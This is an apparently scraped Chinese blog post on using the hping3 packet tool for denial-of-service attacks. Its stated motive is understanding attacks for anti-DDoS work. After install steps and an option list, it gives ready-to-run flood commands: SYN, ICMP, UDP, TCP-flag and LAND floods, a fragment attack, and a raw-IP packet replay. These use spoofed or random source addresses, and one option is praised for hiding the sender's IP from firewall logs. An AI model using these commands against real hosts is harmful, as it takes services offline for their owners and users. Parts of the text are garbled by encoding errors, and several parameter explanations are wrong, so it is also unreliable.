hping3拒绝服务攻击小结
- Author:ZERO-A-ONE
- Date:2021-02-15
? 最近在研究Anti-DDoS勢(shì)必要了解如何發(fā)起DDoS攻擊,于是就接觸到了hping3這款發(fā)包工具
一、簡(jiǎn)介
? hping是面向命令行的用于生成和解析TCP/IP協(xié)議數(shù)據(jù)包匯編/分析的開源工具。作者是Salvatore Sanfilippo,界面靈感來自ping(8)unix命令,目前最新版是hping3,它支持TCP,UDP,ICMP和RAW-IP協(xié)議,具有跟蹤路由模式,能夠在覆蓋的信道之間發(fā)送文件以及許多其他功能,支持使用tcl腳本自動(dòng)化地調(diào)用其API。hping是安全審計(jì)、防火墻測(cè)試等工作的標(biāo)配工具。hping優(yōu)勢(shì)在于能夠定制數(shù)據(jù)包的各個(gè)部分,因此用戶可以靈活對(duì)目標(biāo)機(jī)進(jìn)行細(xì)致地探測(cè)
二、安裝
yum install libpcap-devel tc-devel ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h wget http://www.hping.org/hping3-20051105.tar.gz tar zxvf hping3-20051105.tar.gz cd hping3-20051105 ./configure make make install三、命令使用
命令語法:
$ hping3選項(xiàng)含義:
-H --help 顯示幫助。 -v -VERSION 版本信息。 -c --count count 發(fā)送數(shù)據(jù)包的次數(shù) 關(guān)于countreached_timeout 可以在hping2.h里編輯。 -i --interval 包發(fā)送間隔時(shí)間(單位是毫秒)缺省時(shí)間是1秒,此功能在增加傳輸率上很重要,在idle/spoofing掃描時(shí)此功能也會(huì)被用到,你可以參考hping-howto獲得更多信息-fast 每秒發(fā)10個(gè)數(shù)據(jù)包。 -n -nmeric 數(shù)字輸出,象征性輸出主機(jī)地址。 -q -quiet 退出。 -I --interface interface name 無非就是eth0之類的參數(shù)。 -v --verbose 顯示很多信息,TCP回應(yīng)一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0 -D --debug 進(jìn)入debug模式當(dāng)你遇到麻煩時(shí),比如用HPING遇到一些不合你習(xí)慣的時(shí)候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......) -z --bind 快捷鍵的使用。 -Z --unbind 消除快捷鍵。 -O --rawip RAWIP模式,在此模式下HPING會(huì)發(fā)送帶數(shù)據(jù)的IP頭。 -1 --icmp ICMP模式,此模式下HPING會(huì)發(fā)送IGMP應(yīng)答報(bào),你可以用--ICMPTYPE --ICMPCODE選項(xiàng)發(fā)送其他類型/模式的ICMP報(bào)文。 -2 --udp UDP 模式,缺省下,HPING會(huì)發(fā)送UDP報(bào)文到主機(jī)的0端口,你可以用--baseport --destport --keep選項(xiàng)指定其模式。 -9 --listen signatuer hping的listen模式,用此模式,HPING會(huì)接收指定的數(shù)據(jù)。 -a --spoof hostname 偽造IP攻擊,防火墻就不會(huì)記錄你的真實(shí)IP了,當(dāng)然回應(yīng)的包你也接收不到了。 -t --ttl time to live 可以指定發(fā)出包的TTL值。 -H --ipproto 在RAW IP模式里選擇IP協(xié)議。 -w --WINID UNIX ,WINDIWS的id回應(yīng)不同的,這選項(xiàng)可以讓你的ID回應(yīng)和WINDOWS一樣。 -r --rel 更改ID的,可以讓ID曾遞減輸出,詳見HPING-HOWTO。 -F --FRAG 更改包的FRAG,這可以測(cè)試對(duì)方對(duì)于包碎片的處理能力,缺省的“virtual mtu”是16字節(jié)。 -x --morefrag 此功能可以發(fā)送碎片使主機(jī)忙于恢復(fù)碎片而造成主機(jī)的拒絕服務(wù)。 -y -dontfrag 發(fā)送不可恢復(fù)的IP碎片,這可以讓你了解更多的MTU PATH DISCOVERY。 -G --fragoff fragment offset value set the fragment offset -m --mtu mtu value 用此項(xiàng)后ID數(shù)值變得很大,50000沒指定此項(xiàng)時(shí)3000-20000左右。 -G --rroute 記錄路由,可以看到詳悉的數(shù)據(jù)等等,最多可以經(jīng)過9個(gè)路由,即使主機(jī)屏蔽了ICMP報(bào)文。 -C --ICMPTYPE type 指定ICMP類型,缺省是ICMP echo REQUEST。 -K --ICMPCODE CODE 指定ICMP代號(hào),缺省0。 --icmp-ipver 把IP版本也插入IP頭。 --icmp-iphlen 設(shè)置IP頭的長(zhǎng)度,缺省為5(32字節(jié))。 --icmp-iplen 設(shè)置IP包長(zhǎng)度。 --icmp-ipid 設(shè)置ICMP報(bào)文IP頭的ID,缺省是RANDOM。 --icmp-ipproto 設(shè)置協(xié)議的,缺省是TCP。 -icmp-cksum 設(shè)置校驗(yàn)和。 -icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests) --icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests) -s --baseport source port hping 用源端口猜測(cè)回應(yīng)的包,它從一個(gè)基本端口計(jì)數(shù),每收一個(gè)包,端口也加1,這規(guī)則你可以自己定義。 -p --deskport [+][+]desk port 設(shè)置目標(biāo)端口,缺省為0,一個(gè)加號(hào)設(shè)置為:每發(fā)送一個(gè)請(qǐng)求包到達(dá)后,端口加1,兩個(gè)加號(hào)為:每發(fā)一個(gè)包,端口數(shù)加1。 --keep 上面說過了。 -w --win 發(fā)的大小和windows一樣大,64BYTE。 -O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4. -m --tcpseq 設(shè)置TCP序列數(shù)。 -l --tcpck 設(shè)置TCP ack。 -Q --seqnum 搜集序列號(hào)的,這對(duì)于你分析TCP序列號(hào)有很大作用。| -v | –version | 顯示版本 |
| -c | –count | 數(shù)據(jù)包計(jì)數(shù) |
| -i | –interval | 等待 (uX即X微秒, 例如: -i u1000) |
| –fast | 等同 -i u10000 (每秒10個(gè)包) | |
| –faster | 等同 -i u1000 (每秒100個(gè)包) | |
| –flood | 盡最快發(fā)送數(shù)據(jù)包,不顯示回復(fù)。 | |
| -n | –numeric | 數(shù)字輸出 |
| -q | –quiet | 靜默模式 |
| -I | –interface | 接口名 (默認(rèn)路由接口) |
| -V | –verbose | 詳細(xì)模式 |
| -D | –debug | 調(diào)試信息 |
| -z | –bind | 綁定ctrl+z到ttl(默認(rèn)為目的端口) |
| -Z | –unbind | 取消綁定ctrl+z鍵 |
| –beep | 對(duì)于接收到的每個(gè)匹配數(shù)據(jù)包蜂鳴聲提示 |
| -1 | –icmp | ICMP模式 |
| -2 | –udp | UDP模式 |
| -8 | –scan | SCAN模式 |
| -9 | –listen | listen模式 |
| –rand-dest | 隨機(jī)目的地址模式。詳細(xì)使用man命令 | |
| –rand-source | 隨機(jī)來源地址模式。詳細(xì)使用man命令 | |
| -t | –ttl | ttl (默認(rèn)64) |
| -N | –id | id (默認(rèn)隨機(jī)) |
| -W | –winid | 使用win* id字節(jié)順序 |
| -r | –rel | 相對(duì)id字段(估計(jì)主機(jī)流量) |
| -f | –frag | 拆分?jǐn)?shù)據(jù)包更多的frag |
| -x | –morefrag | 設(shè)置更多的分段標(biāo)志 |
| -y | –dontfrag | 設(shè)置不分段標(biāo)志 |
| -g | –fragoff | 設(shè)置分段偏移 |
| -m | –mtu | 設(shè)置虛擬最大傳輸單元 |
| -o | –tos | 服務(wù)類型(默認(rèn)為0x00),嘗試–tos幫助 |
| -G | –rroute | 包含RECORD_ROUTE選項(xiàng)并顯示路由緩沖區(qū) |
| –lsrr | 松散源路由并記錄路由 | |
| –ssrr | 嚴(yán)格源路由并記錄路由 | |
| -H | –ipproto | 設(shè)置IP協(xié)議字段,僅在RAW IP模式下使用 |
四、攻擊測(cè)試
3.1 SYN Flood
命令操作:
hping3 -c 100000 -d 120 -S -w 64 -p 21 --flood --rand-source www.xxx.com(IP)參數(shù)含義:
- hping3:應(yīng)用名稱
- -c 100000:需要發(fā)送的包(packets)的數(shù)量(非必須)
- -d 120:包(packets)的大小(非必須)
- -S:只發(fā)送SYN packets
- -w 64:TCP窗口(Windows)的大小(非必須)
- -p 21:偽造包為21端口(可以為任意值)
- –flood:盡可能快的利用全部系統(tǒng)資源發(fā)包,泛洪攻擊模式
- –rand-source:偽造隨機(jī)的源IP地址,也可以使用-a偽造特定的IP地址
- www.xxx.com(IP):需要攻擊的目標(biāo)主機(jī)域名或IP地址
3.2 ICMP Flood
命令操作:
$ hping3 -q -n -a 10.0.0.1 --id 0 --icmp -d 56 --flood 192.168.0.2參數(shù)含義:
- -q:靜默模式(非必須)
- -n:數(shù)字輸出
- -a 10.0.0.1:偽造源地址為10.0.0.1
- –id 0:表示有ICMP回顯(ICMP echo request也就是ping)
- –icmp:ICMP模式
- -d 56:目標(biāo)端口56
在真實(shí)世界中的攻擊環(huán)境中,到目前為止,很多系統(tǒng)配置中都會(huì)選擇自動(dòng)丟棄通過hping生成的頭部設(shè)定不正確的ICMP包,面對(duì)這種情況我們可以不使用hping生成的數(shù)據(jù)包,而是真正的通過抓包軟件獲得正常的ICMP回顯請(qǐng)求報(bào)文,然后使用hping3進(jìn)行重播
命令操作:
$ hping3 -q -n --rawip -a 10.0.0.1 --ipproto 1 --file "./xxxx.bin" -d 64 --flood 192.168.0.2參數(shù)含義:
- -q:靜默模式(非必須)
- -n:數(shù)字輸出
- –rawip:RAWIP模式,在此模式下HPING會(huì)發(fā)送帶數(shù)據(jù)的IP頭
- –ipproto:設(shè)置IP協(xié)議字段,僅在RAW IP模式下使用
- –file:需要重放的文件地址
3.3 TCP Flood
命令操作:
$ hping3 -SARUPF -p 80 -–flood –rand-source 192.168.100.1參數(shù)含義:
- -SARUPF:
3.4 UDP Flood
命令操作:
$ hping3 –udp -s 6666 -p 53 -a 8.8.8.8 -–flood 192.168.100.1參數(shù)含義:
- -udp:UDP模式
- -s:用源端口猜測(cè)回應(yīng)的包,它從一個(gè)基本端口計(jì)數(shù),每收一個(gè)包,端口也加1,這規(guī)則你可以自己定義
3.5 LAND攻擊
命令操作:
$ hping3 -n -S -p 80 -a 192.168.100.1 -–flood 192.168.100.13.6 混合大小包攻擊
命令操作:
$ time(hping3 --syn -d 1600 -x -m 600 --id 1020 -c 1 192.168.10.100 & hping3 --syn -d 1600 -x -m 400 --id 1020 -c 1 192.168.10.100)總結(jié)
以上是生活随笔為你收集整理的hping3拒绝服务攻击小结的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 实现div里的img图片水平垂直居中
- 下一篇: mongoose 笔记